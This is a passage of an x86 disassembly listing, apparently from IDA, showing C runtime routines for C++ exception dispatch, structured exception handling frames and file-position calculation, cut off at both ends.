[esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz loc_4227CD cmp [esi+14h], edi jnz loc_4227CD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov ebx, eax loc_422721: ; CODE XREF: sub_422651+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4227B8 cmp [ebx], edi jg short loc_4227AD cmp edi, [ebx+4] jg short loc_4227AD mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4227AA loc_422746: ; CODE XREF: sub_422651+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422777 loc_422758: ; CODE XREF: sub_422651+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4228A0 add esp, 0Ch test eax, eax jnz short loc_422786 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422758 loc_422777: ; CODE XREF: sub_422651+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422746 jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_422651+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_4227AA: ; CODE XREF: sub_422651+F3j ; sub_422651+133j mov edi, [ebp+var_10] loc_4227AD: ; CODE XREF: sub_422651+DEj ; sub_422651+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422721 ; --------------------------------------------------------------------------- loc_4227B8: ; CODE XREF: sub_422651+D6j cmp [ebp+arg_14], 0 jz short loc_4227C8 push 1 push esi call sub_422D26 pop ecx pop ecx loc_4227C8: ; CODE XREF: sub_422651+56j ; sub_422651+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4227CD: ; CODE XREF: sub_422651+37j ; sub_422651+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4227F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227F8 add esp, 20h jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_4227F3: ; CODE XREF: sub_422651+180j jmp sub_422DFC sub_422651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227F8 proc near ; CODE XREF: sub_422651+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBE80, 0 push esi push edi jz short loc_422829 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D3AA add esp, 1Ch test eax, eax jnz short loc_42289C loc_422829: ; CODE XREF: sub_4227F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov esi, eax loc_422845: ; CODE XREF: sub_4227F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42289C cmp edi, [esi] jl short loc_422894 cmp edi, [esi+4] jg short loc_422894 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42286E cmp byte ptr [ecx+8], 0 jnz short loc_422894 loc_42286E: ; CODE XREF: sub_4227F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_422894: ; CODE XREF: sub_4227F8+57j ; sub_4227F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422845 ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_4227F8+2Fj ; sub_4227F8+53j pop edi pop esi leave retn sub_4227F8 endp ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4228F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4228F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4228D1 add ecx, 8 push ecx push edx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4228F3 loc_4228D1: ; CODE XREF: sub_4228A0+1Fj test byte ptr [esi], 2 jz short loc_4228DB test byte ptr [edi], 8 jz short loc_4228F3 loc_4228DB: ; CODE XREF: sub_4228A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4228EA test byte ptr [edi], 1 jz short loc_4228F3 loc_4228EA: ; CODE XREF: sub_4228A0+43j test al, 2 jz short loc_4228F7 test byte ptr [edi], 2 jnz short loc_4228F7 loc_4228F3: ; CODE XREF: sub_4228A0+2Fj ; sub_4228A0+39j ... xor eax, eax jmp short loc_4228FA ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4228A0+Bj ; sub_4228A0+14j ... push 1 pop eax loc_4228FA: ; CODE XREF: sub_4228A0+55j pop edi pop esi retn sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FD proc near ; CODE XREF: sub_4225B6+34p ; ___:004229F3p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42292F: ; CODE XREF: sub_4228FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422989 cmp esi, 0FFFFFFFFh jle short loc_42293E cmp esi, [edi+4] jl short loc_422943 loc_42293E: ; CODE XREF: sub_4228FD+3Aj call sub_422E52 loc_422943: ; CODE XREF: sub_4228FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42295E push 103h push ebx push eax call sub_422DB0 loc_42295E: ; CODE XREF: sub_4228FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42297E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42299B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42297E: ; CODE XREF: sub_4228FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42292F ; --------------------------------------------------------------------------- loc_422989: ; CODE XREF: sub_4228FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4228FD endp ; =============== S U B R O U T I N E ======================================= sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4229AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4229AC: ; CODE XREF: sub_42299B+Cj jmp sub_422DFC sub_42299B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229B1 proc near ; CODE XREF: sub_422651+151p ; sub_4227F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4229D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422B62 add esp, 10h loc_4229D3: ; CODE XREF: sub_4229B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4229DF push edi jmp short loc_4229E2 ; --------------------------------------------------------------------------- loc_4229DF: ; CODE XREF: sub_4229B1+29j push [ebp+arg_24] loc_4229E2: ; CODE XREF: sub_4229B1+2Cj call sub_41D2AC sub_4229B1 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_4228FD mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_422A2C add esp, 2Ch test eax, eax jz short loc_422A27 push edi push eax call sub_41D26A loc_422A27: ; CODE XREF: ___:00422A1Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A2C proc near ; CODE XREF: ___:00422A14p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DBE78 mov [ebp+var_1C], ecx mov ecx, dword_4DBE7C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DBE78, edi mov ecx, [ebp+arg_8] mov dword_4DBE7C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D331 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422AF2 mov eax, [ebp+var_2C] loc_422AB9: ; CODE XREF: sub_422AD2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422A2C endp ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: ___:004278C8o push dword ptr [ebp-14h] call sub_422B38 pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: ___:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D592 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AEA: ; DATA XREF: ___:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DBE78, eax mov eax, [ebp-20h] mov dword_4DBE7C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422B37 cmp dword ptr [edi+10h], 3 jnz short locret_422B37 cmp dword ptr [edi+14h], 19930520h jnz short locret_422B37 cmp [ebp-24h], ebx jnz short locret_422B37 cmp [ebp-2Ch], ebx jz short locret_422B37 call sub_41D5FA push eax push edi call sub_422D26 pop ecx pop ecx locret_422B37: ; CODE XREF: sub_422AF2+1Cj ; sub_422AF2+22j ... retn sub_422AF2 endp ; =============== S U B R O U T I N E ======================================= sub_422B38 proc near ; CODE XREF: sub_422AC8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422B5F cmp dword ptr [eax+10h], 3 jnz short loc_422B5F cmp dword ptr [eax+14h], 19930520h jnz short loc_422B5F cmp dword ptr [eax+1Ch], 0 jnz short loc_422B5F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422B38+Cj ; sub_422B38+12j ... xor eax, eax retn sub_422B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422D0B cmp byte ptr [eax+8], 0 jz loc_422D0B mov eax, [ecx+8] test eax, eax jz loc_422D0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422BFF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422BF0: ; CODE XREF: sub_422B62+F5j push eax call sub_422D8D pop ecx pop ecx mov [edi], eax jmp loc_422D07 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_422B62+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422C59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D670 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422D07 mov eax, [edi] test eax, eax jz loc_422D07 add esi, 8 push esi jmp short loc_422BF0 ; --------------------------------------------------------------------------- loc_422C59: ; CODE XREF: sub_422B62+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422CA1 call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push edi call sub_41D670 add esp, 0Ch jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CA1: ; CODE XREF: sub_422B62+103j call sub_424F80 pop ecx pop ecx test eax, eax jz short loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+18h] call sub_424FB8 pop ecx test eax, eax jz short loc_422D02 test byte ptr [esi], 4 jz short loc_422CE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D2A5 jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CE8: ; CODE XREF: sub_422B62+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D29E jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422D02: ; CODE XREF: sub_422B62+6Aj ; sub_422B62+7Cj ... call sub_422E52 loc_422D07: ; CODE XREF: sub_422B62+98j ; sub_422B62+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422D0B: ; CODE XREF: sub_422B62+2Ej ; sub_422B62+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B62 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D26 proc near ; CODE XREF: sub_422651+170p ; sub_422AF2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422D6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422D6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D29E or [ebp+var_4], 0FFFFFFFFh loc_422D6D: ; CODE XREF: sub_422D26+2Aj ; sub_422D26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422D26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp ; sub_422B62+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422DAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422DAE: ; CODE XREF: sub_422D8D+12j pop esi retn sub_422D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB0 proc near ; CODE XREF: sub_41D331+40p ; sub_4228FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D61D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422DEF mov ecx, 2 loc_422DEF: ; CODE XREF: sub_422DB0+38j push ecx call sub_41D61D pop ebp pop ecx pop ebx leave retn 0Ch sub_422DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j ; sub_42299B:loc_4229ACj ... var_28 = dword ptr -28h var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBE84 test eax, eax jz short loc_422E44 mov [ebp+var_4], 1 call eax jmp short loc_422E40 ; --------------------------------------------------------------------------- loc_422E39: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E3D: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422E40: ; CODE XREF: sub_422DFC+3Bj and [ebp+var_4], 0 loc_422E44: ; CODE XREF: sub_422DFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E4D: ; DATA XREF: ___:004278F8o jmp loc_424FD0 sub_422DFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p ; sub_41D4D3:loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D454 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: ___:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p ; sub_41D9B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD3A8 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call sub_41E717 test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD3A4 nop call near ptr 2650000h loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F09 proc near ; CODE XREF: ___:0041DAF2p ; sub_41F9BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DD160 push esi push edi jnb short loc_422F8B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD060h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422F8B push eax call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422F4D mov dword_4DBDEC, 9 jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F4D: ; CODE XREF: sub_422F09+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 2770000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422F6D call near ptr 26808B7h nop jmp short loc_422F6F ; --------------------------------------------------------------------------- loc_422F6D: ; CODE XREF: sub_422F09+5Aj xor eax, eax loc_422F6F: ; CODE XREF: sub_422F09+62j test eax, eax jz short loc_422F7C push eax call sub_420C7F pop ecx jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F7C: ; CODE XREF: sub_422F09+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422F9F ; --------------------------------------------------------------------------- loc_422F8B: ; CODE XREF: sub_422F09+Dj ; sub_422F09+2Aj and dword_4DBDF0, 0 mov dword_4DBDEC, 9 loc_422F9C: ; CODE XREF: sub_422F09+42j ; sub_422F09+71j or eax, 0FFFFFFFFh loc_422F9F: ; CODE XREF: sub_422F09+80j pop edi pop esi pop ebx retn sub_422F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422FBF mov [edi+4], ebx loc_422FBF: ; CODE XREF: sub_422FA3+17j push 1 push ebx push esi call sub_422F09 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42302D mov edx, [edi+0Ch] test dx, 108h jnz short loc_422FE4 sub eax, [edi+4] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_422FE4: ; CODE XREF: sub_422FA3+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_42301E mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DD060[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423035 mov edx, ecx loc_42300F: ; CODE XREF: sub_422FA3+79j cmp edx, eax jnb short loc_423035 cmp byte ptr [edx], 0Ah jnz short loc_42301B inc [ebp+var_8] loc_42301B: ; CODE XREF: sub_422FA3+73j inc edx jmp short loc_42300F ; --------------------------------------------------------------------------- loc_42301E: ; CODE XREF: sub_422FA3+50j test dl, 80h jnz short loc_423035 mov dword_4DBDEC, 16h loc_42302D: ; CODE XREF: sub_422FA3+2Dj or eax, 0FFFFFFFFh jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423035: ; CODE XREF: sub_422FA3+68j ; sub_422FA3+6Ej ... cmp [ebp+var_4], 0 jnz short loc_423043 mov eax, [ebp+var_8] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423043: ; CODE XREF: sub_422FA3+96j test byte ptr [edi+0Ch], 1 jz loc_4230EE mov edx, [edi+4] test edx, edx jnz short loc_42305C and [ebp+var_8], edx jmp loc_4230EE ; --------------------------------------------------------------------------- loc_42305C: ; CODE XREF: sub_422FA3+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD060h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4230E8 push 2 push 0 push [ebp+var_C] call sub_422F09 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4230AF mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42309A: ; CODE XREF: sub_422FA3+104j cmp eax, ecx jnb short loc_4230A9 cmp byte ptr [eax], 0Ah jnz short loc_4230A6 inc [ebp+arg_0] loc_4230A6: ; CODE XREF: sub_422FA3+FEj inc eax jmp short loc_42309A ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422FA3+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230AF: ; CODE XREF: sub_422FA3+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422F09 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4230D6 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4230D6 test ch, 4 jz short loc_4230D9 loc_4230D6: ; CODE XREF: sub_422FA3+124j ; sub_422FA3+12Cj mov eax, [edi+18h] loc_4230D9: ; CODE XREF: sub_422FA3+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4230E3: ; CODE XREF: sub_422FA3+10Aj jz short loc_4230E8 inc [ebp+arg_0] loc_4230E8: ; CODE XREF: sub_422FA3+D9j ; sub_422FA3:loc_4230E3j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4230EE: ; CODE XREF: sub_422FA3+A4j ; sub_422FA3+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4230F6: ; CODE XREF: sub_422FA3+3Cj ; sub_422FA3+8Dj ... pop edi pop esi pop ebx leave retn sub_422FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p ; sub_41E42B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DD160 push esi push edi jnb loc_42328F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DD060h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42328F xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], 